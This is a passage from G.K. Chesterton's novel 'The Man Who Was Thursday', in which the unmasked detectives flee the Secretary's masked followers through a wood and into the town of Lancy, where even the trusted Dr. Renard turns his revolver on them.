blear-eyed, blundering, thundering, +brainless, Godforsaken, doddering, damned fool!" he said without +taking breath. "You great silly, pink-faced, towheaded turnip! +You--" + +"You shall not go by this train," repeated Syme. + +"And why the infernal blazes," roared the other, "should I want to +go by the train?" + +"We know all," said the Professor sternly. "You are going to Paris +to throw a bomb!" + +"Going to Jericho to throw a Jabberwock!" cried the other, tearing +his hair, which came off easily. + +"Have you all got softening of the brain, that you don't realise +what I am? Did you really think I wanted to catch that train? +Twenty Paris trains might go by for me. Damn Paris trains!" + +"Then what did you care about?" began the Professor. + +"What did I care about? I didn't care about catching the train; I +cared about whether the train caught me, and now, by God! it has +caught me." + +"I regret to inform you," said Syme with restraint, "that your +remarks convey no impression to my mind. Perhaps if you were to +remove the remains of your original forehead and some portion of +what was once your chin, your meaning would become clearer. Mental +lucidity fulfils itself in many ways. What do you mean by saying +that the train has caught you? It may be my literary fancy, but +somehow I feel that it ought to mean something." + +"It means everything," said the other, "and the end of everything. +Sunday has us now in the hollow of his hand." + +"Us!" repeated the Professor, as if stupefied. "What do you mean by +'us'?" + +"The police, of course!" said the Marquis, and tore off his scalp +and half his face. + +The head which emerged was the blonde, well brushed, smooth-haired +head which is common in the English constabulary, but the face was +terribly pale. + +"I am Inspector Ratcliffe," he said, with a sort of haste that +verged on harshness. "My name is pretty well known to the police, +and I can see well enough that you belong to them. But if there is +any doubt about my position, I have a card" and he began to pull a +blue card from his pocket. + +The Professor gave a tired gesture. + +"Oh, don't show it us," he said wearily; "we've got enough of them +to equip a paper-chase." + +The little man named Bull, had, like many men who seem to be of a +mere vivacious vulgarity, sudden movements of good taste. Here he +certainly saved the situation. In the midst of this staggering +transformation scene he stepped forward with all the gravity and +responsibility of a second, and addressed the two seconds of the +Marquis. + +"Gentlemen," he said, "we all owe you a serious apology; but I +assure you that you have not been made the victims of such a low +joke as you imagine, or indeed of anything undignified in a man of +honour. You have not wasted your time; you have helped to save the +world. We are not buffoons, but very desperate men at war with a +vast conspiracy. A secret society of anarchists is hunting us like +hares; not such unfortunate madmen as may here or there throw a +bomb through starvation or German philosophy, but a rich and +powerful and fanatical church, a church of eastern pessimism, which +holds it holy to destroy mankind like vermin. How hard they hunt us +you can gather from the fact that we are driven to such disguises +as those for which I apologise, and to such pranks as this one by +which you suffer. " + +The younger second of the Marquis, a short man with a black +moustache, bowed politely, and said-- + +"Of course, I accept the apology; but you will in your turn forgive +me if I decline to follow you further into your difficulties, and +permit myself to say good morning! The sight of an acquaintance and +distinguished fellow-townsman coming to pieces in the open air is +unusual, and, upon the whole, sufficient for one day. Colonel +Ducroix, I would in no way influence your actions, but if you feel +with me that our present society is a little abnormal, I am now +going to walk back to the town." + +Colonel Ducroix moved mechanically, but then tugged abruptly at his +white moustache and broke out-- + +"No, by George! I won't. If these gentlemen are really in a mess +with a lot of low wreckers like that, I'll see them through it. I +have fought for France, and it is hard if I can't fight for +civilization." + +Dr. Bull took off his hat and waved it, cheering as at a public +meeting. + +"Don't make too much noise," said Inspector Ratcliffe, "Sunday may +hear you." + +"Sunday!" cried Bull, and dropped his hat. + +"Yes," retorted Ratcliffe, "he may be with them." + +"With whom?" asked Syme. + +"With the people out of that train," said the other. + +"What you say seems utterly wild," began Syme. "Why, as a matter of +fact--But, my God," he cried out suddenly, like a man who sees an +explosion a long way off, "by God! if this is true the whole bally +lot of us on the Anarchist Council were against anarchy! Every born +man was a detective except the President and his personal +secretary. What can it mean?" + +"Mean!" said the new policeman with incredible violence. "It means +that we are struck dead! Don't you know Sunday? Don't you know that +his jokes are always so big and simple that one has never thought +of them? Can you think of anything more like Sunday than this, that +he should put all his powerful enemies on the Supreme Council, and +then take care that it was not supreme? I tell you he has bought +every trust, he has captured every cable, he has control of every +railway line--especially of that railway line!" and he pointed a +shaking finger towards the small wayside station. "The whole +movement was controlled by him; half the world was ready to rise +for him. But there were just five people, perhaps, who would have +resisted him . . . and the old devil put them on the Supreme +Council, to waste their time in watching each other. Idiots that +we are, he planned the whole of our idiocies! Sunday knew that the +Professor would chase Syme through London, and that Syme would +fight me in France. And he was combining great masses of capital, +and seizing great lines of telegraphy, while we five idiots were +running after each other like a lot of confounded babies playing +blind man's buff." + +"Well?" asked Syme with a sort of steadiness. + +"Well," replied the other with sudden serenity, "he has found us +playing blind man's buff today in a field of great rustic beauty +and extreme solitude. He has probably captured the world; it only +remains to him to capture this field and all the fools in it. And +since you really want to know what was my objection to the arrival +of that train, I will tell you. My objection was that Sunday or his +Secretary has just this moment got out of it." + +Syme uttered an involuntary cry, and they all turned their eyes +towards the far-off station. It was quite true that a considerable +bulk of people seemed to be moving in their direction. But they +were too distant to be distinguished in any way. + +"It was a habit of the late Marquis de St. Eustache," said the new +policeman, producing a leather case, "always to carry a pair of +opera glasses. Either the President or the Secretary is coming +after us with that mob. They have caught us in a nice quiet place +where we are under no temptations to break our oaths by calling +the police. Dr. Bull, I have a suspicion that you will see better +through these than through your own highly decorative spectacles." + +He handed the field-glasses to the Doctor, who immediately took +off his spectacles and put the apparatus to his eyes. + +"It cannot be as bad as you say," said the Professor, somewhat +shaken. "There are a good number of them certainly, but they may +easily be ordinary tourists." + +"Do ordinary tourists," asked Bull, with the fieldglasses to his +eyes, "wear black masks half-way down the face?" + +Syme almost tore the glasses out of his hand, and looked through +them. Most men in the advancing mob really looked ordinary enough; +but it was quite true that two or three of the leaders in front +wore black half-masks almost down to their mouths. This disguise +is very complete, especially at such a distance, and Syme found +it impossible to conclude anything from the clean-shaven jaws and +chins of the men talking in the front. But presently as they +talked they all smiled and one of them smiled on one side. + + + +CHAPTER XI + +THE CRIMINALS CHASE THE POLICE + +SYME put the field-glasses from his eyes with an almost ghastly +relief. + +"The President is not with them, anyhow," he said, and wiped his +forehead. + +"But surely they are right away on the horizon," said the +bewildered Colonel, blinking and but half recovered from Bull's +hasty though polite explanation. "Could you possibly know your +President among all those people?" + +"Could I know a white elephant among all those people!" answered +Syme somewhat irritably. "As you very truly say, they are on the +horizon; but if he were walking with them . . . by God! I believe +this ground would shake." + +After an instant's pause the new man called Ratcliffe said with +gloomy decision-- + +"Of course the President isn't with them. I wish to Gemini he were. +Much more likely the President is riding in triumph through Paris, +or sitting on the ruins of St. Paul's Cathedral." + +"This is absurd!" said Syme. "Something may have happened in our +absence; but he cannot have carried the world with a rush like +that. It is quite true," he added, frowning dubiously at the +distant fields that lay towards the little station, "it is +certainly true that there seems to be a crowd coming this way; +but they are not all the army that you make out." + +"Oh, they," said the new detective contemptuously; "no they are +not a very valuable force. But let me tell you frankly that they +are precisely calculated to our value--we are not much, my boy, +in Sunday's universe. He has got hold of all the cables and +telegraphs himself. But to kill the Supreme Council he regards as +a trivial matter, like a post card; it may be left to his private +secretary," and he spat on the grass. + +Then he turned to the others and said somewhat austerely-- + +"There is a great deal to be said for death; but if anyone has +any preference for the other alternative, I strongly advise him +to walk after me." + +With these words, he turned his broad back and strode with silent +energy towards the wood. The others gave one glance over their +shoulders, and saw that the dark cloud of men had detached itself +from the station and was moving with a mysterious discipline +across the plain. They saw already, even with the naked eye, black +blots on the foremost faces, which marked the masks they wore. +They turned and followed their leader, who had already struck the +wood, and disappeared among the twinkling trees. + +The sun on the grass was dry and hot. So in plunging into the wood +they had a cool shock of shadow, as of divers who plunge into a +dim pool. The inside of the wood was full of shattered sunlight +and shaken shadows. They made a sort of shuddering veil, almost +recalling the dizziness of a cinematograph. Even the solid figures +walking with him Syme could hardly see for the patterns of sun and +shade that danced upon them. Now a man's head was lit as with a +light of Rembrandt, leaving all else obliterated; now again he had +strong and staring white hands with the face of a negro. The +ex-Marquis had pulled the old straw hat over his eyes, and the +black shade of the brim cut his face so squarely in two that it +seemed to be wearing one of the black half-masks of their pursuers. +The fancy tinted Syme's overwhelming sense of wonder. Was he +wearing a mask? Was anyone wearing a mask? Was anyone anything? +This wood of witchery, in which men's faces turned black and white +by turns, in which their figures first swelled into sunlight and +then faded into formless night, this mere chaos of chiaroscuro +(after the clear daylight outside), seemed to Syme a perfect symbol +of the world in which he had been moving for three days, this world +where men took off their beards and their spectacles and their +noses, and turned into other people. That tragic self-confidence +which he had felt when he believed that the Marquis was a devil +had strangely disappeared now that he knew that the Marquis was +a friend. He felt almost inclined to ask after all these +bewilderments what was a friend and what an enemy. Was there +anything that was apart from what it seemed? The Marquis had taken +off his nose and turned out to be a detective. Might he not just +as well take off his head and turn out to be a hobgoblin? Was not +everything, after all, like this bewildering woodland, this dance +of dark and light? Everything only a glimpse, the glimpse always +unforeseen, and always forgotten. For Gabriel Syme had found in +the heart of that sun-splashed wood what many modern painters had +found there. He had found the thing which the modern people call +Impressionism, which is another name for that final scepticism +which can find no floor to the universe. + +As a man in an evil dream strains himself to scream and wake, Syme +strove with a sudden effort to fling off this last and worst of +his fancies. With two impatient strides he overtook the man in the +Marquis's straw hat, the man whom he had come to address as +Ratcliffe. In a voice exaggeratively loud and cheerful, he broke +the bottomless silence and made conversation. + +"May I ask," he said, "where on earth we are all going to? " + +So genuine had been the doubts of his soul, that he was quite glad +to hear his companion speak in an easy, human voice. + +"We must get down through the town of Lancy to the sea," he said. +"I think that part of the country is least likely to be with +them." + +"What can you mean by all this?" cried Syme. "They can't be +running the real world in that way. Surely not many working men +are anarchists, and surely if they were, mere mobs could not beat +modern armies and police." + +"Mere mobs!" repeated his new friend with a snort of scorn. "So +you talk about mobs and the working classes as if they were the +question. You've got that eternal idiotic idea that if anarchy +came it would come from the poor. Why should it? The poor have +been rebels, but they have never been anarchists; they have more +interest than anyone else in there being some decent government. +The poor man really has a stake in the country. The rich man +hasn't; he can go away to New Guinea in a yacht. The poor have +sometimes objected to being governed badly; the rich have always +objected to being governed at all. Aristocrats were always +anarchists, as you can see from the barons' wars." + +"As a lecture on English history for the little ones," said Syme, +"this is all very nice; but I have not yet grasped its application." + +"Its application is," said his informant, "that most of old Sunday's +right-hand men are South African and American millionaires. That is +why he has got hold of all the communications; and that is why the +last four champions of the anti-anarchist police force are running +through a wood like rabbits." + +"Millionaires I can understand," said Syme thoughtfully, "they are +nearly all mad. But getting hold of a few wicked old gentlemen with +hobbies is one thing; getting hold of great Christian nations is +another. I would bet the nose off my face (forgive the allusion) +that Sunday would stand perfectly helpless before the task of +converting any ordinary healthy person anywhere." + +"Well," said the other, "it rather depends what sort of person you +mean." + +"Well, for instance," said Syme, "he could never convert that +person," and he pointed straight in front of him. + +They had come to an open space of sunlight, which seemed to express +to Syme the final return of his own good sense; and in the middle +of this forest clearing was a figure that might well stand for that +common sense in an almost awful actuality. Burnt by the sun and +stained with perspiration, and grave with the bottomless gravity of +small necessary toils, a heavy French peasant was cutting wood with +a hatchet. His cart stood a few yards off, already half full of +timber; and the horse that cropped the grass was, like his master, +valorous but not desperate; like his master, he was even +prosperous, but yet was almost sad. The man was a Norman, taller +than the average of the French and very angular; and his swarthy +figure stood dark against a square of sunlight, almost like some +allegoric figure of labour frescoed on a ground of gold. + +"Mr. Syme is saying," called out Ratcliffe to the French Colonel, +"that this man, at least, will never be an anarchist." + +"Mr. Syme is right enough there," answered Colonel Ducroix, +laughing, "if only for the reason that he has plenty of property +to defend. But I forgot that in your country you are not used to +peasants being wealthy." + +"He looks poor," said Dr. Bull doubtfully. + +"Quite so," said the Colonel; "that is why he is rich." + +"I have an idea," called out Dr. Bull suddenly; "how much would he +take to give us a lift in his cart? Those dogs are all on foot, and +we could soon leave them behind." + +"Oh, give him anything!" said Syme eagerly. "I have piles of money +on me." + +"That will never do," said the Colonel; "he will never have any +respect for you unless you drive a bargain." + +"Oh, if he haggles!" began Bull impatiently. + +"Erie haggles because he is a free man," said the other. "You do +not understand; he would not see the meaning of generosity. He is +not being tipped." + +And even while they seemed to hear the heavy feet of their strange +pursuers behind them, they had to stand and stamp while the French +Colonel talked to the French wood-cutter with all the leisurely +badinage and bickering of market-day. At the end of the four +minutes, however, they saw that the Colonel was right, for the +wood-cutter entered into their plans, not with the vague servility +of a tout too-well paid, but with the seriousness of a solicitor +who had been paid the proper fee. He told them that the best thing +they could do was to make their way down to the little inn on the +hills above Lancy, where the innkeeper, an old soldier who had +become devot in his latter years, would be certain to sympathise +with them, and even to take risks in their support. The whole +company, therefore, piled themselves on top of the stacks of wood, +and went rocking in the rude cart down the other and steeper side +of the woodland. Heavy and ramshackle as was the vehicle, it was +driven quickly enough, and they soon had the exhilarating +impression of distancing altogether those, whoever they were, who +were hunting them. For, after all, the riddle as to where the +anarchists had got all these followers was still unsolved. One +man's presence had sufficed for them; they had fled at the first +sight of the deformed smile of the Secretary. Syme every now and +then looked back over his shoulder at the army on their track. + +As the wood grew first thinner and then smaller with distance, he +could see the sunlit slopes beyond it and above it; and across +these was still moving the square black mob like one monstrous +beetle. In the very strong sunlight and with his own very strong +eyes, which were almost telescopic, Syme could see this mass of +men quite plainly. He could see them as separate human figures; +but he was increasingly surprised by the way in which they moved +as one man. They seemed to be dressed in dark clothes and plain +hats, like any common crowd out of the streets; but they did not +spread and sprawl and trail by various lines to the attack, as +would be natural in an ordinary mob. They moved with a sort of +dreadful and wicked woodenness, like a staring army of automatons. + +Syme pointed this out to Ratcliffe. + +"Yes," replied the policeman, "that's discipline. That's Sunday. He +is perhaps five hundred miles off, but the fear of him is on all of +them, like the finger of God. Yes, they are walking regularly; and +you bet your boots that they are talking regularly, yes, and +thinking regularly. But the one important thing for us is that they +are disappearing regularly." + +Syme nodded. It was true that the black patch of the pursuing men +was growing smaller and smaller as the peasant belaboured his +horse. + +The level of the sunlit landscape, though flat as a whole, fell +away on the farther side of the wood in billows of heavy slope +towards the sea, in a way not unlike the lower slopes of the +Sussex downs. The only difference was that in Sussex the road +would have been broken and angular like a little brook, but +here the white French road fell sheer in front of them like a +waterfall. Down this direct descent the cart clattered at a +considerable angle, and in a few minutes, the road growing yet +steeper, they saw below them the little harbour of Lancy and a +great blue arc of the sea. The travelling cloud of their enemies +had wholly disappeared from the horizon. + +The horse and cart took a sharp turn round a clump of elms, and +the horse's nose nearly struck the face of an old gentleman who +was sitting on the benches outside the little cafe of "Le Soleil +d'Or." The peasant grunted an apology, and got down from his +seat. The others also descended one by one, and spoke to the old +gentleman with fragmentary phrases of courtesy, for it was quite +evident from his expansive manner that he was the owner of the +little tavern. + +He was a white-haired, apple-faced old boy, with sleepy eyes and +a grey moustache; stout, sedentary, and very innocent, of a type +that may often be found in France, but is still commoner in +Catholic Germany. Everything about him, his pipe, his pot of beer, +his flowers, and his beehive, suggested an ancestral peace; only +when his visitors looked up as they entered the inn-parlour, they +saw the sword upon the wall. + +The Colonel, who greeted the innkeeper as an old friend, passed +rapidly into the inn-parlour, and sat down ordering some ritual +refreshment. The military decision of his action interested Syme, +who sat next to him, and he took the opportunity when the old +innkeeper had gone out of satisfying his curiosity. + +"May I ask you, Colonel," he said in a low voice, "why we have +come here?" + +Colonel Ducroix smiled behind his bristly white moustache. + +"For two reasons, sir," he said; "and I will give first, not the +most important, but the most utilitarian. We came here because +this is the only place within twenty miles in which we can get +horses." + +"Horses!" repeated Syme, looking up quickly. + +"Yes," replied the other; "if you people are really to distance +your enemies it is horses or nothing for you, unless of course +you have bicycles and motor-cars in your pocket." + +"And where do you advise us to make for?" asked Syme doubtfully. + +"Beyond question," replied the Colonel, "you had better make all +haste to the police station beyond the town. My friend, whom I +seconded under somewhat deceptive circumstances, seems to me to +exaggerate very much the possibilities of a general rising; but +even he would hardly maintain, I suppose, that you were not safe +with the gendarmes." + +Syme nodded gravely; then he said abruptly-- + +"And your other reason for coming here?" + +"My other reason for coming here," said Ducroix soberly, "is that +it is just as well to see a good man or two when one is possibly +near to death." + +Syme looked up at the wall, and saw a crudely-painted and pathetic +religious picture. Then he said-- + +"You are right," and then almost immediately afterwards, "Has +anyone seen about the horses?" + +"Yes," answered Ducroix, "you may be quite certain that I gave +orders the moment I came in. Those enemies of yours gave no +impression of hurry, but they were really moving wonderfully fast, +like a well-trained army. I had no idea that the anarchists had so +much discipline. You have not a moment to waste." + +Almost as he spoke, the old innkeeper with the blue eyes and white +hair came ambling into the room, and announced that six horses +were saddled outside. + +By Ducroix's advice the five others equipped themselves with some +portable form of food and wine, and keeping their duelling swords +as the only weapons available, they clattered away down the steep, +white road. The two servants, who had carried the Marquis's +luggage when he was a marquis, were left behind to drink at the +cafe by common consent, and not at all against their own +inclination. + +By this time the afternoon sun was slanting westward, and by its +rays Syme could see the sturdy figure of the old innkeeper growing +smaller and smaller, but still standing and looking after them +quite silently, the sunshine in his silver hair. Syme had a fixed, +superstitious fancy, left in his mind by the chance phrase of the +Colonel, that this was indeed, perhaps, the last honest stranger +whom he should ever see upon the earth. + +He was still looking at this dwindling figure, which stood as a +mere grey blot touched with a white flame against the great green +wall of the steep down behind him. And as he stared over the top +of the down behind the innkeeper, there appeared an army of +black-clad and marching men. They seemed to hang above the good +man and his house like a black cloud of locusts. The horses had +been saddled none too soon. + + + +CHAPTER XII + +THE EARTH IN ANARCHY + +URGING the horses to a gallop, without respect to the rather +rugged descent of the road, the horsemen soon regained their +advantage over the men on the march, and at last the bulk of the +first buildings of Lancy cut off the sight of their pursuers. +Nevertheless, the ride had been a long one, and by the time they +reached the real town the west was warming with the colour and +quality of sunset. The Colonel suggested that, before making +finally for the police station, they should make the effort, in +passing, to attach to themselves one more individual who might be +useful. + +"Four out of the five rich men in this town," he said, "are common +swindlers. I suppose the proportion is pretty equal all over the +world. The fifth is a friend of mine, and a very fine fellow; and +what is even more important from our point of view, he owns a +motor-car." + +"I am afraid," said the Professor in his mirthful way, looking +back along the white road on which the black, crawling patch might +appear at any moment, "I am afraid we have hardly time for +afternoon calls." + +"Doctor Renard's house is only three minutes off," said the +Colonel. + +"Our danger," said Dr. Bull, "is not two minutes off." + +"Yes," said Syme, "if we ride on fast we must leave them behind, +for they are on foot." + +"He has a motor-car," said the Colonel. + +"But we may not get it," said Bull. + +"Yes, he is quite on your side." + +"But he might be out." + +"Hold your tongue," said Syme suddenly. "What is that noise?" + +For a second they all sat as still as equestrian statues, and +for a second--for two or three or four seconds--heaven and earth +seemed equally still. Then all their ears, in an agony of +attention, heard along the road that indescribable thrill and +throb that means only one thing--horses! + +The Colonel's face had an instantaneous change, as if lightning +had struck it, and yet left it scatheless. + +"They have done us," he said, with brief military irony. "Prepare +to receive cavalry!" + +"Where can they have got the horses?" asked Syme, as he +mechanically urged his steed to a canter. + +The Colonel was silent for a little, then he said in a strained +voice-- + +"I was speaking with strict accuracy when I said that the 'Soleil +d'Or' was the only place where one can get horses within twenty +miles." + +"No!" said Syme violently, "I don't believe he'd do it. Not with +all that white hair." + +"He may have been forced," said the Colonel gently. "They must be +at least a hundred strong, for which reason we are all going to +see my friend Renard, who has a motor-car." + +With these words he swung his horse suddenly round a street +corner, and went down the street with such thundering speed, that +the others, though already well at the gallop, had difficulty in +following the flying tail of his horse. + +Dr. Renard inhabited a high and comfortable house at the top of a +steep street, so that when the riders alighted at his door they +could once more see the solid green ridge of the hill, with the +white road across it, standing up above all the roofs of the town. +They breathed again to see that the road as yet was clear, and they +rang the bell. + +Dr. Renard was a beaming, brown-bearded man, a good example of that +silent but very busy professional class which France has preserved +even more perfectly than England. When the matter was explained to +him he pooh-poohed the panic of the ex-Marquis altogether; he said, +with the solid French scepticism, that there was no conceivable +probability of a general anarchist rising. "Anarchy," he said, +shrugging his shoulders, "it is childishness!" + +"Et ca," cried out the Colonel suddenly, pointing over the other's +shoulder, "and that is childishness, isn't it?" + +They all looked round, and saw a curve of black cavalry come +sweeping over the top of the hill with all the energy of Attila. +Swiftly as they rode, however, the whole rank still kept well +together, and they could see the black vizards of the first line +as level as a line of uniforms. But although the main black +square was the same, though travelling faster, there was now one +sensational difference which they could see clearly upon the slope +of the hill, as if upon a slanted map. The bulk of the riders were +in one block; but one rider flew far ahead of the column, and with +frantic movements of hand and heel urged his horse faster and +faster, so that one might have fancied that he was not the pursuer +but the pursued. But even at that great distance they could see +something so fanatical, so unquestionable in his figure, that they +knew it was the Secretary himself. "I am sorry to cut short a +cultured discussion," said the Colonel, "but can you lend me your +motor-car now, in two minutes?" + +"I have a suspicion that you are all mad," said Dr. Renard, smiling +sociably; "but God forbid that madness should in any way interrupt +friendship. Let us go round to the garage." + +Dr. Renard was a mild man with monstrous wealth; his rooms were +like the Musee de Cluny, and he had three motor-cars. These, +however, he seemed to use very sparingly, having the simple tastes +of the French middle class, and when his impatient friends came to +examine them, it took them some time to assure themselves that one +of them even could be made to work. This with some difficulty they +brought round into the street before the Doctor's house. When they +came out of the dim garage they were startled to find that +twilight had already fallen with the abruptness of night in the +tropics. Either they had been longer in the place than they +imagined, or some unusual canopy of cloud had gathered over the +town. They looked down the steep streets, and seemed to see a +slight mist coming up from the sea. + +"It is now or never," said Dr. Bull. "I hear horses." + +"No," corrected the Professor, "a horse." + +And as they listened, it was evident that the noise, rapidly +coming nearer on the rattling stones, was not the noise of the +whole cavalcade but that of the one horseman, who had left it +far behind--the insane Secretary. + +Syme's family, like most of those who end in the simple life, had +once owned a motor, and he knew all about them. He had leapt at +once into the chauffeur's seat, and with flushed face was wrenching +and tugging at the disused machinery. He bent his strength upon one +handle, and then said quite quietly-- + +"I am afraid it's no go." + +As he spoke, there swept round the corner a man rigid on his +rushing horse, with the rush and rigidity of an arrow. He had a +smile that thrust out his chin as if it were dislocated. He swept +alongside of the stationary car, into which its company had +crowded, and laid his hand on the front. It was the Secretary, +and his mouth went quite straight in the solemnity of triumph. + +Syme was leaning hard upon the steering wheel, and there was no +sound but the rumble of the other pursuers riding into the town. +Then there came quite suddenly a scream of scraping iron, and the +car leapt forward. It plucked the Secretary clean out of his +saddle, as a knife is whipped out of its sheath, trailed him +kicking terribly for twenty yards, and left him flung flat upon +the road far in front of his frightened horse. As the car took +the corner of the street with a splendid curve, they could just +see the other anarchists filling the street and raising their +fallen leader. + +"I can't understand why it has grown so dark," said the Professor +at last in a low voice. + +"Going to be a storm, I think," said Dr. Bull. "I say, it's a pity +we haven't got a light on this car, if only to see by." + +"We have," said the Colonel, and from the floor of the car he +fished up a heavy, old-fashioned, carved iron lantern with a light +inside it. It was obviously an antique, and it would seem as if +its original use had been in some way semi-religious, for there +was a rude moulding of a cross upon one of its sides. + +"Where on earth did you get that?" asked the Professor. + +"I got it where I got the car," answered the Colonel, chuckling, +"from my best friend. While our friend here was fighting with the +steering wheel, I ran up the front steps of the house and spoke to +Renard, who was standing in his own porch, you will remember. 'I +suppose,' I said, 'there's no time to get a lamp.' He looked up, +blinking amiably at the beautiful arched ceiling of his own front +hall. From this was suspended, by chains of exquisite ironwork, +this lantern, one of the hundred treasures of his treasure house. +By sheer force he tore the lamp out of his own ceiling, shattering +the painted panels, and bringing down two blue vases with his +violence. Then he handed me the iron lantern, and I put it in the +car. Was I not right when I said that Dr. Renard was worth +knowing?" + +"You were," said Syme seriously, and hung the heavy lantern over +the front. There was a certain allegory of their whole position +in the contrast between the modern automobile and its strange +ecclesiastical lamp. Hitherto they had passed through the quietest +part of the town, meeting at most one or two pedestrians, who could +give them no hint of the peace or the hostility of the place. Now, +however, the windows in the houses began one by one to be lit up, +giving a greater sense of habitation and humanity. Dr. Bull turned +to the new detective who had led their flight, and permitted +himself one of his natural and friendly smiles. + +"These lights make one feel more cheerful." + +Inspector Ratcliffe drew his brows together. + +"There is only one set of lights that make me more cheerful," he +said, "and they are those lights of the police station which I can +see beyond the town. Please God we may be there in ten minutes." + +Then all Bull's boiling good sense and optimism broke suddenly out +of him. + +"Oh, this is all raving nonsense!" he cried. "If you really think +that ordinary people in ordinary houses are anarchists, you must be +madder than an anarchist yourself. If we turned and fought these +fellows, the whole town would fight for us." + +"No," said the other with an immovable simplicity, "the whole town +would fight for them. We shall see.' + +While they were speaking the Professor had leant forward with +sudden excitement. + +"What is that noise?" he said. + +"Oh, the horses behind us, I suppose," said the Colonel. "I thought +we had got clear of them." + +"The horses behind us! No," said the Professor, "it is not horses, +and it is not behind us." + +Almost as he spoke, across the end of the street before them two +shining and rattling shapes shot past. They were gone almost in a +flash, but everyone could see that they were motor-cars, and the +Professor stood up with a pale face and swore that they were the +other two motor-cars from Dr. Renard's garage. + +"I tell you they were his," he repeated, with wild eyes, "and they +were full of men in masks!" + +"Absurd!" said the Colonel angrily. "Dr. Renard would never give +them his cars." + +"He may have been forced," said Ratcliffe quietly. "The whole town +is on their side." + +"You still believe that," asked the Colonel incredulously. + +"You will all believe it soon," said the other with a hopeless +calm. + +There was a puzzled pause for some little time, and then the +Colonel began again abruptly-- + +"No, I can't believe it. The thing is nonsense. The plain people of +a peaceable French town--" + +He was cut short by a bang and a blaze of light, which seemed close +to his eyes. As the car sped on it left a floating patch of white +smoke behind it, and Syme had heard a shot shriek past his ear. + +"My God!" said the Colonel, "someone has shot at us." + +"It need not interrupt conversation," said the gloomy Ratcliffe. +"Pray resume your remarks, Colonel. You were talking, I think, +about the plain people of a peaceable French town." + +The staring Colonel was long past minding satire. He rolled his +eyes all round the street. + +"It is extraordinary," he said, "most extraordinary." + +"A fastidious person," said Syme, "might even call it unpleasant. +However, I suppose those lights out in the field beyond this street +are the Gendarmerie. We shall soon get there." + +"No," said Inspector Ratcliffe, "we shall never get there." + +He had been standing up and looking keenly ahead of him. Now he sat +down and smoothed his sleek hair with a weary gesture. + +"What do you mean?" asked Bull sharply. + +"I mean that we shall never get there," said the pessimist +placidly. "They have two rows of armed men across the road already; +I can see them from here. The town is in arms, as I said it was. + +I can only wallow in the exquisite comfort of my own exactitude." + +And Ratcliffe sat down comfortably in the car and lit a cigarette, +but the others rose excitedly and stared down the road. Syme had +slowed down the car as their plans became doubtful, and he brought +it finally to a standstill just at the corner of a side street +that ran down very steeply to the sea. + +The town was mostly in shadow, but the sun had not sunk; wherever +its level light could break through, it painted everything a +burning gold. Up this side street the last sunset light shone as +sharp and narrow as the shaft of artificial light at the theatre. +It struck the car of the five friends, and lit it like a burning +chariot. But the rest of the street, especially the two ends of +it, was in the deepest twilight, and for some seconds they could +see nothing. Then Syme, whose eyes were the keenest, broke into a +little bitter whistle, and said + +"It is quite true. There is a crowd or an army or some such thing +across the end of that street." + +"Well, if there is," said Bull impatiently, "it must be something +else--a sham fight or the mayor's birthday or something. I cannot +and will not believe that plain, jolly people in a place like this +walk about with dynamite in their pockets. Get on a bit, Syme, and +let us look at them." + +The car crawled about a hundred yards farther, and then they were +all startled by Dr. Bull breaking into a high crow of laughter. + +"Why, you silly mugs!" he cried, "what did I tell you. That +crowd's as law-abiding as a cow, and if it weren't, it's on our +side." + +"How do you know?" asked the professor, staring. + +"You blind bat," cried Bull, "don't you see who is leading them?" + +They peered again, and then the Colonel, with a catch in his +voice, cried out-- + +"Why, it's Renard!" + +There was, indeed, a rank of dim figures running across the road, +and they could not be clearly seen; but far enough in front to +catch the accident of the evening light was stalking up and down +the unmistakable Dr. Renard, in a white hat, stroking his long +brown beard, and holding a revolver in his left hand. + +"What a fool I've been!" exclaimed the Colonel. "Of course, the +dear old boy has turned out to help us." + +Dr. Bull was bubbling over with laughter, swinging the sword in +his hand as carelessly as a cane. He jumped out of the car and +ran across the intervening space, calling out-- + +"Dr. Renard! Dr. Renard!" + +An instant after Syme thought his own eyes had gone mad in his +head. For the philanthropic Dr. Renard had deliberately raised his +revolver and fired twice at Bull, so that the shots rang down the +road. + +Almost at the same second as the puff of white cloud went up from +this atrocious explosion a long puff of white cloud went up also +from the cigarette of the cynical Ratcliffe. Like all the rest he +turned a little pale, but he smiled. Dr. Bull, at whom the bullets +had been fired, just missing his scalp, stood quite still in the +middle of the road without a sign of fear, and then turned very +slowly and crawled back to the car, and climbed in with two holes +through his hat. + +"Well," said the cigarette smoker slowly, "what do you think now?" + +"I think," said Dr. Bull with precision, "that I am lying in bed +at No. 217 Peabody Buildings, and that I shall soon wake up with a +jump; or, if that's not it, I think that I am sitting in a small +cushioned cell in Hanwell, and that the doctor can't make much of +my case. But if you want to know what I don't think, I'll tell you. +I don't think what you think. I don't think, and I never shall +think, that the mass of ordinary men are a pack of dirty modern +thinkers. No, sir, I'm a democrat, and I still don't believe that +Sunday could convert one average navvy or counter-jumper. No, I may +be mad, but humanity isn't." + +Syme turned his bright blue eyes on Bull with an earnestness which +he did not commonly make clear. + +"You are a very fine fellow," he said. "You can believe in a sanity +which is not merely your sanity. And you're right enough about +humanity, about peasants and people like that jolly old innkeeper. +But you're not right about Renard. I suspected him from the first. +He's rationalistic, and, what's worse, he's rich. When duty and +religion are really destroyed, it will be by the rich." + +"They are really destroyed now," said the man with a cigarette, and +rose with his hands in his pockets. "The devils are coming on!" + +The men in the motor-car looked anxiously in the direction of his +dreamy gaze, and they saw that the whole regiment at the end of the +road was advancing upon them, Dr. Renard marching furiously in +front, his beard flying in the breeze. + +The Colonel sprang out of the car with an intolerant exclamation. + +"Gentlemen," he cried, "the thing is incredible. It must be a +practical joke. If you knew Renard as I do--it's like calling Queen +Victoria a dynamiter. If you had got the man's character into your +head--" + +"Dr. Bull," said Syme sardonically, "has at least got it into his +hat." + +"I tell you it can't be!" cried the Colonel, stamping. + +"Renard shall explain it. He shall explain it to me," and he strode +forward. + +"Don't be in such a hurry," drawled the smoker. "He will very soon +explain it to all of us." + +But the impatient Colonel was already out of earshot, advancing +towards the advancing enemy. The excited Dr. Renard lifted his +pistol again, but perceiving his opponent, hesitated, and the +Colonel came face to face with him with frantic gestures of +remonstrance. + +"It is no good," said Syme. "He will never get anything out of that +old heathen. I vote we drive bang through the thick of them, bang +as the bullets went through Bull's hat. We may all be killed, but +we must kill a tidy number of them." + +"I won't 'ave it," said Dr. Bull, growing more vulgar in the +sincerity of his virtue. "The poor chaps may be making a mistake. +Give the Colonel a chance." + +"Shall we go back, then?" asked the Professor. + +"No," said Ratcliffe in a cold voice, "the street behind us is held +too. In fact, I seem to see there 